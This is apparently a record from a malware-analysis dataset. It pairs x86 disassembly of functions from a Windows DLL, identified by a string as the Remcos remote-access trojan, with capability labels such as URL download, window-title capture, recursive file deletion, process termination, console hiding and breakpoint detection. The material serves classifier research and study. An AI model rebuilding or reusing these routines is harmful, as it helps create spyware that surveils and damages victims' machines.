joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017f18
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov edi, edx
push ecx
lea ecx, [ebp + 8]
call fcn.1001814b
cmp eax, 0xffffffff
jne 0x10017f59
lea ecx, [ebp + 8]
call fcn.10001e24
push eax
mov dl, 0x30
lea ecx, [ebp - 0x18]
call fcn.1000b84e
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.10001e35
lea ecx, [ebp - 0x18]
call fcn.10001e30
lea ecx, [ebp + 8]
call fcn.10001e24
mov ecx, edi
mov esi, eax
call fcn.10002329
test eax, eax
je 0x1001803a
mov edx, esi
mov ecx, edi
call fcn.10019375
push str._alias_audio
mov edx, ebx
lea ecx, [ebp - 0x78]
call fcn.10018a5e
push eax
lea eax, [ebp + 8]
mov edx, str.open__
push str.__type
push eax
lea ecx, [ebp - 0x60]
call fcn.1000abb2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.10002936
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.100028be
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.10002936
pop ecx
lea ecx, [ebp - 0x18]
call fcn.10001e30
lea ecx, [ebp - 0x48]
call fcn.10001e30
lea ecx, [ebp - 0x60]
call fcn.10001e30
lea ecx, [ebp - 0x78]
call fcn.10001e30
xor ebx, ebx
lea ecx, [ebp - 0x30]
push ebx
push ebx
push ebx
call fcn.10001e24
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x10061c24
call fcn.10001f8b
push 0xa9
mov ecx, 0x10071960
call fcn.100044b2
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x10070ac0], eax
jmp 0x100180fc
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10017f7b
sub esp, 0x18
mov ecx, esp
push 0x10061c24
call fcn.10001f8b
push 0xa8
mov ecx, 0x10071960
call fcn.100044b2
jmp 0x1001813e
cmp byte [0x10070abd], bl
je 0x10018084
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x10070abd], bl
cmp byte [0x10070abc], bl
je 0x1001809c
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x10070abc], bl
push ebx
push 0x14
lea eax, [ebp - 0x14]
push eax
push str.status_audio_mode
call esi
lea edx, [ebp - 0x14]
mov edi, str.stopped
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x100180cf
inc ecx
cmp ecx, 8
jne 0x100180b4
push dword [0x10070ac0]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x10070ac0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100180f7
push dword [0x10070ac0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x10018030
mov eax, dword [0x10070ac0]
test eax, eax
jne 0x1001806c
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x10061c24
call fcn.10001f8b
push 0xaa
mov ecx, 0x10071960
call fcn.100044b2
lea ecx, [ebp - 0x30]
call fcn.10001e30
lea ecx, [ebp + 8]
call fcn.10001e30
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10018813
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x100188a1
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x100188a1
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x10018898
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.10037a45
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x10018898
push esi
xorps xmm0, xmm0
push edi
push eax
movlpd qword [ebp - 0x14], xmm0
call fcn.10033130
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100188a8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.10033130
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.10003b7e
mov eax, esi
pop esi
leave
ret

Function at 0x1001896f
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10018997
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret
Function at 0x10018daf
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0x105
xor esi, esi
push edi
mov dword [ebp - 4], esi
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x5c
pop edx
test eax, eax
jle 0x10018e09
mov ecx, edi
cmp word [ecx], dx
jne 0x10018dec
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, 3
je 0x10018e09
add ecx, 2
inc ebx
push edi
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp ebx, eax
jge 0x10018e06
mov ecx, dword [ebp - 8]
push 0x5c
pop edx
jmp 0x10018ddb
mov ebx, dword [ebp - 4]
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x10018e36
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x10018f1e
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x10018e3f
jmp 0x10018eef
cmp word [ebp - 0x212], cx
jne 0x10018f09
cmp word [ebp - 0x210], 0x3f
jne 0x10018f09
cmp word [ebp - 0x20e], cx
jne 0x10018f09
cmp word [ebp + eax*2 - 0x214], cx
jne 0x10018f09
xor ecx, ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0x624]
push 0x64
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10018f83
push edi
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10018f32
push 0x104
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x10018f23
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x10018ee4
sub ecx, edx
sar ecx, 1
push 0x5c
lea eax, [ecx - 1]
pop ecx
mov dword [ebp - 4], eax
cmp word [ebp - 0x214], cx
je 0x10018e4f
mov esi, 0xa1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x10018f0e
jmp 0x10018f09
mov eax, dword [ebp - 4]
push 0x5c
pop ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x10018f83
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x41c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x10018f0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10018f0e
Function at 0x10019087
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x1001909f
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x100190b9
mov eax, dword [0x100679e8]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x100679ec]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x100190e0
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x100190fa
mov eax, dword [0x10061e0c]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edx, eax
mov dword [ebp - 8], edx
cmp edx, 0xffffffff
je 0x10019274
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x10019131
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x10019259
lea ecx, [ebp - 0x63c]
call fcn.10019011
test eax, eax
jne 0x100191f1
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x1001917c
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x10019192
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x1001920f
lea ecx, [ebp - 0x210]
call fcn.10019087
test eax, eax
je 0x1001926b
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x100191d9
mov al, byte [ebp - 1]
mov edx, dword [ebp - 8]
test al, al
jne 0x1001914d
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x10019276
test byte [ebp - 0x668], 1
je 0x1001922a
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1001926b
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x1001923f
jmp 0x100191f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x1001926b
xor eax, eax
mov byte [ebp - 1], al
jmp 0x100191f4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1001927b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], ecx
push edi
mov edi, edx
sub eax, ebx
je 0x100192a5
sub eax, 1
jne 0x1001929d
push 4
pop eax
mov ecx, eax
jmp 0x100192ad
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
jmp 0x100192ad
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100192cb
xor al, al
jmp 0x10019300
cmp dword [ebp + 0xc], 1
jne 0x100192e1
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x100192f7
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100192f7
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10019305
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10019333
xor al, al
jmp 0x10019371
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.10001e82
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.10001eae
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x10019368
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebx
leave
ret

Function at 0x10019398
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100193be
xor eax, eax
jmp 0x100193d1
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0x100193d4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x100194d1
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.1000aafa
push esi
lea ecx, [esp + 0x34]
call fcn.10001e24
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.10008cb7
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.10008c7f
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.10008cb7
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.10008dce
sub esp, 0xc
mov ecx, esp
push 0x10067c0c
call fcn.10003b7e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.10007c8e
lea ecx, [esp + 0x54]
call fcn.10018c83
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.100020e1
test eax, eax
je 0x100194bf
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.10001d7e
push eax
lea ecx, [esp + 0x38]
call fcn.10008c45
cmp eax, 0xffffffff
jne 0x100194e2
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.100020e1
cmp esi, eax
jb 0x10019494
lea ecx, [esp + 0x24]
call fcn.1000f83e
lea ecx, [esp + 0x30]
call fcn.10001e30
lea ecx, [ebp + 8]
call fcn.10001e30
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x10019504
lea ecx, [esp + 0x30]
call fcn.10001e24
sub ebx, eax
movzx ecx, word [eax]
mov word [ebx + eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x100194f5
lea ecx, [esp + 0x24]
call fcn.1000f83e
lea ecx, [esp + 0x30]
call fcn.10001e30
mov bl, 1
jmp 0x100194d1
Function at 0x10019823
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x100198cf
sub ecx, 1
je 0x100198c1
sub ecx, 1
je 0x100198b3
sub ecx, 1
je 0x10019880
sub ecx, 1
jne 0x10019911
push 1
sub esp, 0x18
mov ecx, esp
push 0x10061c80
call fcn.10001f8b
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10010607
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x10061c7c
jmp 0x100198fd
push 1
sub esp, 0x18
mov ecx, esp
push 0x10067758
call fcn.10001f8b
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10010607
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x10061c80
jmp 0x100198fd
push 1
sub esp, 0x18
mov ecx, esp
push 0x10067b90
jmp 0x1001988c
push 1
sub esp, 0x18
mov ecx, esp
push 0x10061c68
jmp 0x1001988c
push 1
sub esp, 0x18
mov ebx, 0x10061c80
mov ecx, esp
push ebx
call fcn.10001f8b
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10010607
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.10001f8b
push str.TileWallpaper
mov edx, esi
call fcn.10010607
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x10019b76
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x10070b04]
test bl, bl
mov dword [0x10070b10], eax
pop ebx
jne 0x10019b9e
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.1003886b
push eax
push 0x10067ec0
push str.CONOUT_
call fcn.1003d201
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.10019b35
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.10033130
lea edi, [ebp - 0x64]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10019bde
mov esi, str._n_tRemcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10019bf4
mov esi, str.5.3.0_Pro
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10019c09
push 6
pop ecx
mov esi, 0x10067fc8
lea eax, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.100181b6
pop ecx
pop edi
pop esi
leave
ret

Function at 0x1001ee12
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x1001ee3d
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x1001ee3d
cmp al, 0xc0
je 0x1001ee3d
cmp al, 0xcc
je 0x1001ee3d
add edx, 2
cmp dx, cx
jb 0x1001ee22
pop esi
ret
Function at 0x100217e6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, edx
mov edx, dword [ebp + 0xc]
lea esi, [edi + 4]
push esi
call fcn.10021780
mov edx, dword [ebp + 8]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x10021802
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x10021810
pop edi
pop esi
pop ebp
ret

Function at 0x10023896
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x100238b0
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x100238a3
pop esi
pop ebp
ret

Function at 0x100238b3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, ecx
or eax, edx
push esi
mov esi, dword [ebp + 8]
or eax, esi
test al, 3
jne 0x100238d0
shr esi, 2
push esi
call fcn.10023896
pop ecx
jmp 0x100238e1
test esi, esi
je 0x100238e1
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x100238d6
pop esi
pop ebp
ret

Function at 0x100238e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x1002390a
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x100238f9
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1002390f
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x10063960
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x10023919
cmp ecx, str.SHA256wECDSA
jl 0x10023916
ret
Function at 0x1002b5d6
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
test ebx, ebx
je 0x1002b6c5
cmp dword [ebp + 8], 0
mov edi, dword [ebp + 0xc]
jne 0x1002b5f8
test edi, edi
jne 0x1002b6c5
cmp edx, 3
je 0x1002b62e
cmp edx, 4
je 0x1002b62e
cmp edx, 5
je 0x1002b62e
cmp edx, 6
je 0x1002b62e
cmp edx, 7
je 0x1002b62e
cmp edx, 8
je 0x1002b62e
cmp edx, 0xa
je 0x1002b62e
cmp edx, 0xb
je 0x1002b62e
cmp edx, 0xc
je 0x1002b62e
cmp edx, 0xd
jne 0x1002b6c5
push ecx
mov byte [ebx + 0x115], 0
mov byte [ebx + 0x114], dl
call fcn.1002b5bd
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002b6ca
cmp byte [ebx + 0x114], 6
lea esi, [ebx + 0x70]
jne 0x1002b6c5
push 0x40
pop ecx
cmp edi, ecx
ja 0x1002b672
cmp dword [ebp + 8], eax
je 0x1002b698
push edi
push dword [ebp + 8]
push esi
call fcn.10033360
add esp, 0xc
jmp 0x1002b695
mov edx, dword [ebp + 8]
mov ecx, ebx
push edi
call fcn.10030218
pop ecx
test eax, eax
jne 0x1002b6ca
mov edx, esi
mov ecx, ebx
call fcn.100302e9
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002b6ca
push 0x20
pop edi
push 0x40
pop ecx
cmp edi, ecx
jae 0x1002b6b0
sub ecx, edi
lea eax, [esi + edi]
push ecx
push 0
push eax
call fcn.10033130
add esp, 0xc
push 0x40
pop ecx
mov al, byte [esi]
xor al, 0x5c
mov byte [esi + 0x40], al
xor byte [esi], 0x36
inc esi
sub ecx, 1
jne 0x1002b6b0
mov eax, dword [ebp - 4]
jmp 0x1002b6ca
mov eax, 0xffffff53
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1002fb7a
Capabilities:
Hash data using sha256

Disassembly:
test ecx, ecx
jne 0x1002fb37
mov eax, 0xffffff53
ret
xor eax, eax
mov dword [ecx], 0x6a09e667
mov dword [ecx + 4], 0xbb67ae85
mov dword [ecx + 8], 0x3c6ef372
mov dword [ecx + 0xc], 0xa54ff53a
mov dword [ecx + 0x10], 0x510e527f
mov dword [ecx + 0x14], 0x9b05688c
mov dword [ecx + 0x18], 0x1f83d9ab
mov dword [ecx + 0x1c], 0x5be0cd19
mov dword [ecx + 0x60], eax
mov dword [ecx + 0x64], eax
mov dword [ecx + 0x68], eax
ret
test ecx, ecx
jne 0x1002fb84
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x1002fb2d